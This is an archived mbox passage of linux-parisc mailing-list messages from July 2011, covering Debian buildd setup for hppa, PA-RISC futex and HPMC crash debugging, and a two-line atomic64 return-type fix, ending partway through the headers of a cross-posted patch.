Original-Received: from hall.aurel32.net ([88.191.126.93]:36599 "EHLO hall.aurel32.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753447Ab1GQWDK (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 17 Jul 2011 18:03:10 -0400
Original-Received: from aurel32 by hall.aurel32.net with local (Exim 4.72)
	(envelope-from <aurelien@aurel32.net>)
	id 1QiZQU-0000Bs-Jk; Mon, 18 Jul 2011 00:03:02 +0200
Content-Disposition: inline
In-Reply-To: <CADZpyiwaKjhqWJ0kGh4kV1BZSa02=OGVPYeHxQA9iD8LVnkEqQ@mail.gmail.com>
X-Mailer: Mutt 1.5.20 (2009-06-14)
User-Agent: Mutt/1.5.20 (2009-06-14)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3881
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3881>

On Thu, Jul 07, 2011 at 07:02:28PM -0400, Carlos O'Donell wrote:
> On Thu, Jul 7, 2011 at 5:59 PM, Aurelien Jarno <aurel32@debian.org> w=
rote:
> > All the list of things to provide for debian-ports are available fr=
om my
> > previous post back in April:
> >
> > =A0http://lists.debian.org/debian-hppa/2011/04/msg00026.html
> >
> > Please note that the first point is not relevant anymore given that=
 I
> > have done the import myself:
> >
> > =A0http://lists.debian.org/debian-hppa/2011/05/msg00002.html
>=20
> - A place/way to fetch all the .deb that have to be import with the
>   corresponding .changes.
>=20
> This is done.
>=20
> - List of persons who need to have access to the wanna-build interfac=
e.
>   If some of them are not DD, please also provide mail/login/ssh key.
>=20
> I would like to have access to the wanna-build interface.
>=20
> I will have Dann Frazier send you my mail/login/ssh key as a signed e=
mail.

Ok, will create that when I get the mail.

> - List of persons who should be able to upload packages to the archiv=
e
>   with the corresponding GPG keys (that should include buildds
>   maintainers).
>=20
> I will have Dann Frazier send you my GPG key in the same signed email=
=2E

Ditto.

> - List of emails to be used as a contact point for alpha/hppa buildds
>   and alpha/hppa related things.
>=20
> In the email from Dann.

Ditto.
=20
> - List of buildds with their IP, SSH key and mail address.
>=20
> What do you want installed on the buildds?

I personally don't really want to get anything installed. But to be
useful a buildd needs to be able to connect to the wanna-build db, send
the build logs, receive signed build logs by mail and upload packages.

> I've setup a buildd before, but the truth is that I had to crib the
> information from various sources.
>=20
> Is there actually a guide for this available anywhere?
>=20

You can use the setup guide from [1]. Basically you should change=20
debian.org by debian-ports.org and use the following sources.list
(or any of the corresponding mirrors [2]):

  deb http://ftp.debian-ports.org/debian sid main
  deb http://ftp.debian-ports.org/debian unreleased main
  deb-src http://ftp.debian.org/debian/ unstable main

  deb http://incoming.debian-ports.org/buildd unstable main
  deb-src http://incoming.debian-ports.org/buildd unstable main

Cheers,
Aurelien
 =20
[1] https://buildd.debian.org/docs/
[2] http://www.debian-ports.org/mirrors

--=20
Aurelien Jarno	                        GPG: 1024D/F1BCDB73
aurelien@aurel32.net                 http://www.aurel32.net
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH 2.6.39-rc3] parsic: Fix futex support
Date: Fri, 22 Jul 2011 17:51:44 -0400
Lines: 54
Approved: news@gmane.org
Message-ID: <BLU0-SMTP8777233F78FA13F6037090974E0@phx.gbl>
References: <4E177624.1030500@systemhalted.org> <201107081742.48874.vapier@gentoo.org> <4E1780EE.1010405@systemhalted.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1311371531 10620 80.91.229.12 (22 Jul 2011 21:52:11 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 22 Jul 2011 21:52:11 +0000 (UTC)
Cc: Mike Frysinger <vapier@gentoo.org>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 22 23:52:06 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QkNdc-0005Fk-Ek
	for glpp-linux-parisc@lo.gmane.org; Fri, 22 Jul 2011 23:52:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932239Ab1GVVwD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 22 Jul 2011 17:52:03 -0400
Original-Received: from blu0-omc4-s9.blu0.hotmail.com ([65.55.111.148]:20901 "EHLO
	blu0-omc4-s9.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S932229Ab1GVVwD (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 22 Jul 2011 17:52:03 -0400
Original-Received: from BLU0-SMTP87 ([65.55.111.137]) by blu0-omc4-s9.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Fri, 22 Jul 2011 14:52:02 -0700
X-Originating-IP: [174.92.88.213]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([174.92.88.213]) by BLU0-SMTP87.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Fri, 22 Jul 2011 14:52:01 -0700
In-Reply-To: <4E1780EE.1010405@systemhalted.org>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 22 Jul 2011 21:52:01.0494 (UTC) FILETIME=[9650F760:01CC48B9]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3882
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3882>


On 8-Jul-11, at 6:13 PM, Carlos O'Donell wrote:

> On 7/8/2011 5:42 PM, Mike Frysinger wrote:
>> On Friday, July 08, 2011 17:27:00 Carlos O'Donell wrote:
>>> Implements futex op support and makes futex cmpxchg atomic.
>>> Tested on 64-bit SMP kernel running on 2 x PA8700s.
>>
>> seems like all the changes to this func are arch-independent and  
>> could be
>> placed into asm-generic/futex.h.  the current parisc futex.h looks  
>> like a copy
>> of the asm-generic one ...
>> -mike
>
> That's true. I didn't want to rock the boat on this one until
> I hammered out all the userspace testing.


Do you have a userspace patch?  There was the thread stack allocation  
bug and possibly
futex related issues.

I can more or less consistently hpmc my rp3440 running the GCC libgomp  
testsuite with
3.0.0-rc7+.  Unfortunately, it seems hpmcs are somewhat deferred, so  
it's really hard to
to tell what's happening.  Usually, the machine hpmcs in the idle loop.

One instance seemed to have a corrupt user space stack pointer.   
Another instance
seemed to occur with inconsistent space registers in the kernel.   
Often two cpus check
almost simultaneously.  When this happens, both have the same "Assist  
Check" value
(space register).

The "Check Summary" is always 0x8400000000800000.  I think Kyle fixed  
one of these last March.
The cause was missing IPC system calls.  I'm a bit vague regarding  
whether the fix was installed
or not.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH 2.6.39-rc3] parsic: Fix futex support
Date: Sun, 24 Jul 2011 14:42:16 -0400
Lines: 32
Approved: news@gmane.org
Message-ID: <CADZpyixCFm7YUfihEJs+eR+gyUcw+S_ty+v4w2bK2s0jMFwUQg@mail.gmail.com>
References: <4E177624.1030500@systemhalted.org>
	<201107081742.48874.vapier@gentoo.org>
	<4E1780EE.1010405@systemhalted.org>
	<BLU0-SMTP8777233F78FA13F6037090974E0@phx.gbl>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1311532944 16107 80.91.229.12 (24 Jul 2011 18:42:24 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 24 Jul 2011 18:42:24 +0000 (UTC)
Cc: Mike Frysinger <vapier@gentoo.org>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 24 20:42:20 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ql3d5-000081-1Z
	for glpp-linux-parisc@lo.gmane.org; Sun, 24 Jul 2011 20:42:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751649Ab1GXSmS convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 24 Jul 2011 14:42:18 -0400
Original-Received: from mail-ew0-f46.google.com ([209.85.215.46]:61580 "EHLO
	mail-ew0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751609Ab1GXSmR convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 24 Jul 2011 14:42:17 -0400
Original-Received: by ewy4 with SMTP id 4so2196269ewy.19
        for <linux-parisc@vger.kernel.org>; Sun, 24 Jul 2011 11:42:16 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=HuU7Vch/yUMLD9x1uE7yEb4+K1GwgWgz7tf9jSvjFf0=;
        b=hP1aicP0ukDS/Jq89qWe+2c2C/NbBpIdvHLeKLuZ0QQ1GaWrdG4b5YKtA4WuMUJheb
         FFJ0WUvsMCsIArEzzt9wHE5HTeOHuqFk1nuscS1FyppeG11bd+w0UY/BALrEmSSrPeyY
         dFwUqBs56MqnxYQK7ThH3SsiKjYI11UVBvLFU=
Original-Received: by 10.14.125.14 with SMTP id y14mr1315396eeh.211.1311532936145; Sun,
 24 Jul 2011 11:42:16 -0700 (PDT)
Original-Received: by 10.14.101.142 with HTTP; Sun, 24 Jul 2011 11:42:16 -0700 (PDT)
In-Reply-To: <BLU0-SMTP8777233F78FA13F6037090974E0@phx.gbl>
X-Google-Sender-Auth: hXMHG6bSRxe5xkqpcTdjfhGZJ_U
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3883
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3883>

On Fri, Jul 22, 2011 at 5:51 PM, John David Anglin <dave.anglin@bell.ne=
t> wrote:
> Do you have a userspace patch? =A0There was the thread stack allocati=
on bug
> and possibly futex related issues.

I do have a userspace patch, what would you like the patch against?

> The "Check Summary" is always 0x8400000000800000. =A0I think Kyle fix=
ed one of
> these last March.
> The cause was missing IPC system calls. =A0I'm a bit vague regarding =
whether
> the fix was installed
> or not.

I wouldn't expect a missing syscall to HPMC the machine, it should retu=
rn ENOSYS
and userspace should return a failure code... eventually something migh=
t fail to
check the function return and fail.

That's far from an HPMC though.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH 2.6.39-rc3] parsic: Fix futex support
Date: Sun, 24 Jul 2011 16:30:21 -0400
Lines: 84
Approved: news@gmane.org
Message-ID: <BLU0-SMTP42FD5BABB49DFD947C868E97300@phx.gbl>
References: <4E177624.1030500@systemhalted.org> <201107081742.48874.vapier@gentoo.org> <4E1780EE.1010405@systemhalted.org> <BLU0-SMTP8777233F78FA13F6037090974E0@phx.gbl> <CADZpyixCFm7YUfihEJs+eR+gyUcw+S_ty+v4w2bK2s0jMFwUQg@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1311539447 23709 80.91.229.12 (24 Jul 2011 20:30:47 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 24 Jul 2011 20:30:47 +0000 (UTC)
Cc: Mike Frysinger <vapier@gentoo.org>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 24 22:30:42 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ql5Jx-0005rc-C8
	for glpp-linux-parisc@lo.gmane.org; Sun, 24 Jul 2011 22:30:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751874Ab1GXUak (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 24 Jul 2011 16:30:40 -0400
Original-Received: from blu0-omc4-s31.blu0.hotmail.com ([65.55.111.170]:26843 "EHLO
	blu0-omc4-s31.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751849Ab1GXUaj (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 24 Jul 2011 16:30:39 -0400
Original-Received: from BLU0-SMTP42 ([65.55.111.135]) by blu0-omc4-s31.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 24 Jul 2011 13:30:38 -0700
X-Originating-IP: [174.92.88.213]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([174.92.88.213]) by BLU0-SMTP42.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 24 Jul 2011 13:30:38 -0700
In-Reply-To: <CADZpyixCFm7YUfihEJs+eR+gyUcw+S_ty+v4w2bK2s0jMFwUQg@mail.gmail.com>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 24 Jul 2011 20:30:38.0539 (UTC) FILETIME=[8CACA9B0:01CC4A40]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3884
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3884>


On 24-Jul-11, at 2:42 PM, Carlos O'Donell wrote:

> On Fri, Jul 22, 2011 at 5:51 PM, John David Anglin <dave.anglin@bell.net 
> > wrote:
>> Do you have a userspace patch?  There was the thread stack  
>> allocation bug
>> and possibly futex related issues.
>
> I do have a userspace patch, what would you like the patch against?

The current version is unstable or 2.11.2-10.

>
>> The "Check Summary" is always 0x8400000000800000.  I think Kyle  
>> fixed one of
>> these last March.
>> The cause was missing IPC system calls.  I'm a bit vague regarding  
>> whether
>> the fix was installed
>> or not.
>
> I wouldn't expect a missing syscall to HPMC the machine, it should  
> return ENOSYS
> and userspace should return a failure code... eventually something  
> might fail to
> check the function return and fail.
>
> That's far from an HPMC though.


Yah, I now think it was a matter of luck exposing the missing IPC calls.

I wish we knew how to decode the "Check Summary"  but I haven't found  
any documentation
on the net.  My current theory is the value indicates some kind of  
cache malfunction.  I suspect
that the corruption may occur during range based flushes due code  
containing inequivalent
aliases.  I think 0x2000000000000000 indicates a memory timeout.

I did find a small bug in flush_cache_range (sr3 has wrong type).  If  
I'm correct about the
problem being range based, this bug probably made things better by  
calling flush_cache_all
more frequently.

I have a whole collection of hpmcs and almost all have the same check  
summary.  It very
hard to see much consistency.  Many have hpmc's in the idle loop.  A  
couple have hpmc's
in flush_data_cache.  It's always possible that there is a hardware  
problem, but the problem
occurs so frequently in the libgomp testsuite that I have to think it  
is software triggered.
I haven't been able to trigger by running compilations or tests  
manually.

There must be some interconnection between the cores because a fault  
in one almost triggers
a TOC hpmc in the other.  The "Assist Check" value is a space register  
value and it's probably
the context of the process that caused the cache problem.

I'm currently running a test to check operation using mainly  
flush_instruction_cache and
flush_data_cache (whole cache flushes).  So far, it hasn't hpmc'd in  
the libgomp testsuite,
but it's very slooooow.

I plan to rebuild the main packages used in the libgomp testsuite to  
see if this helps.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] fix atomic64 on PA-RISC
Date: Wed, 27 Jul 2011 01:57:56 +0200 (CEST)
Lines: 31
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.00.1107270157040.660@artax.karlin.mff.cuni.cz>
References: <alpine.DEB.2.00.1106290043170.32272@artax.karlin.mff.cuni.cz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1311724686 32002 80.91.229.12 (26 Jul 2011 23:58:06 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 26 Jul 2011 23:58:06 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: "James E.J. Bottomley" <jejb@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 27 01:58:01 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QlrVf-0000KN-H5
	for glpp-linux-parisc@lo.gmane.org; Wed, 27 Jul 2011 01:57:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752542Ab1GZX56 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 26 Jul 2011 19:57:58 -0400
Original-Received: from artax.karlin.mff.cuni.cz ([195.113.26.195]:36622 "EHLO
	artax.karlin.mff.cuni.cz" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751064Ab1GZX56 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 26 Jul 2011 19:57:58 -0400
Original-Received: by artax.karlin.mff.cuni.cz (Postfix, from userid 17421)
	id A96D998046; Wed, 27 Jul 2011 01:57:56 +0200 (CEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by artax.karlin.mff.cuni.cz (Postfix) with ESMTP id A7C3C9800D;
	Wed, 27 Jul 2011 01:57:56 +0200 (CEST)
In-Reply-To: <alpine.DEB.2.00.1106290043170.32272@artax.karlin.mff.cuni.cz>
User-Agent: Alpine 2.00 (DEB 1167 2008-08-23)
X-Personality-Disorder: Schizoid
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3885
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3885>

Fix atomic64 on PA-RISC

Signed-off-by: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>

---
 arch/parisc/include/asm/atomic.h |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

Index: linux-3.0-devel/arch/parisc/include/asm/atomic.h
===================================================================
--- linux-3.0-devel.orig/arch/parisc/include/asm/atomic.h	2011-07-27 01:27:03.000000000 +0200
+++ linux-3.0-devel/arch/parisc/include/asm/atomic.h	2011-07-27 01:30:44.000000000 +0200
@@ -259,10 +259,10 @@ static __inline__ int atomic_add_unless(
 
 #define ATOMIC64_INIT(i) ((atomic64_t) { (i) })
 
-static __inline__ int
+static __inline__ s64
 __atomic64_add_return(s64 i, atomic64_t *v)
 {
-	int ret;
+	s64 ret;
 	unsigned long flags;
 	_atomic_spin_lock_irqsave(v, flags);
 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Turner <mattst88@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] fix atomic64 on PA-RISC
Date: Tue, 26 Jul 2011 20:27:36 -0400
Lines: 42
Approved: news@gmane.org
Message-ID: <CAEdQ38F89xnmG3L_2q3WDY2NnygfVOn8goNndK32no+0Y31daQ@mail.gmail.com>
References: <alpine.DEB.2.00.1106290043170.32272@artax.karlin.mff.cuni.cz> <alpine.DEB.2.00.1107270157040.660@artax.karlin.mff.cuni.cz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1311726484 8191 80.91.229.12 (27 Jul 2011 00:28:04 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 27 Jul 2011 00:28:04 +0000 (UTC)
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 27 02:28:00 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Qlryh-0007qA-Mh
	for glpp-linux-parisc@lo.gmane.org; Wed, 27 Jul 2011 02:28:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752075Ab1G0A16 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 26 Jul 2011 20:27:58 -0400
Original-Received: from mail-vx0-f174.google.com ([209.85.220.174]:35035 "EHLO
	mail-vx0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751064Ab1G0A16 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 26 Jul 2011 20:27:58 -0400
Original-Received: by vxh35 with SMTP id 35so749080vxh.19
        for <linux-parisc@vger.kernel.org>; Tue, 26 Jul 2011 17:27:57 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc:content-type:content-transfer-encoding;
        bh=p+JfDxl+BfEP12R/sXZipELdD/B/4myN91wEzg6ihSA=;
        b=xO9avxe9kRXslXSThat6h1/tjjywDZX/WCMbXp9LNKGJCZgwmWeExh77Fqe3/B5VdT
         o25hfUYl4pjjVgSqTs4OnhRMh5XxSE1h/4wBN66vR/YCRxX5QYcLtK49aqyPc99xzPyK
         rAcQwOmPE1iqW+z4D/5bzFHO+672oywV43su4=
Original-Received: by 10.52.68.231 with SMTP id z7mr6670880vdt.86.1311726477804; Tue,
 26 Jul 2011 17:27:57 -0700 (PDT)
Original-Received: by 10.52.166.193 with HTTP; Tue, 26 Jul 2011 17:27:36 -0700 (PDT)
In-Reply-To: <alpine.DEB.2.00.1107270157040.660@artax.karlin.mff.cuni.cz>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3886
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3886>

On Tue, Jul 26, 2011 at 7:57 PM, Mikulas Patocka
<mikulas@artax.karlin.mff.cuni.cz> wrote:
> Fix atomic64 on PA-RISC
>
> Signed-off-by: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
>
> ---
> =A0arch/parisc/include/asm/atomic.h | =A0 =A04 ++--
> =A01 file changed, 2 insertions(+), 2 deletions(-)
>
> Index: linux-3.0-devel/arch/parisc/include/asm/atomic.h
> =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
> --- linux-3.0-devel.orig/arch/parisc/include/asm/atomic.h =A0 =A0 =A0=
 2011-07-27 01:27:03.000000000 +0200
> +++ linux-3.0-devel/arch/parisc/include/asm/atomic.h =A0 =A02011-07-2=
7 01:30:44.000000000 +0200
> @@ -259,10 +259,10 @@ static __inline__ int atomic_add_unless(
>
> =A0#define ATOMIC64_INIT(i) ((atomic64_t) { (i) })
>
> -static __inline__ int
> +static __inline__ s64
> =A0__atomic64_add_return(s64 i, atomic64_t *v)
> =A0{
> - =A0 =A0 =A0 int ret;
> + =A0 =A0 =A0 s64 ret;
> =A0 =A0 =A0 =A0unsigned long flags;
> =A0 =A0 =A0 =A0_atomic_spin_lock_irqsave(v, flags);

An identical patch was sent on June 11, titled '[PATCH] parisc, fix
return type of __atomic64_add_return'. If it's not in James tree (or
upstream) by now, I'm not sure why.

Matt
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sven Eckelmann <sven@narfation.org>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.documentation,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCHv4 01/11] atomic: add *_dec_not_zero
Date: Wed, 27 Jul 2011 11:47:40 +0200
Lines: 525
Approved: news@gmane.org
Message-ID: <1311760070-21532-1-git-send-email-sven@narfation.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1311760101 15974 80.91.229.12 (27 Jul 2011 09:48:21 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 27 Jul 2011 09:48:21 +0000 (UTC)
Cc: linux-m32r-ja@ml.linux-m32r.org, linux-mips@linux-mips.org,
	linux-ia64@vger.kernel.org, linux-doc@vger.kernel.org,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	"H. Peter Anvin" <hpa@zytor.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Randy Dunlap <rdunlap@xenotime.net>,
	Paul Mackerras <paulus@samba.org>, Helge Deller <deller@gmx.de>,
	sparclinux@vger.kernel.org, Sven Eckelmann <sven@narfation.org>,
	linux-s390@vger.kernel.org, Russell King <linux@arm.linux.org.uk>,
	user-mode-linux-devel@lists.sourceforge.net,
	Richard Weinberger <richard@nod.at>,
	Hirokazu Takata <takata@linux-m32r.org>, x86@kernel.org,
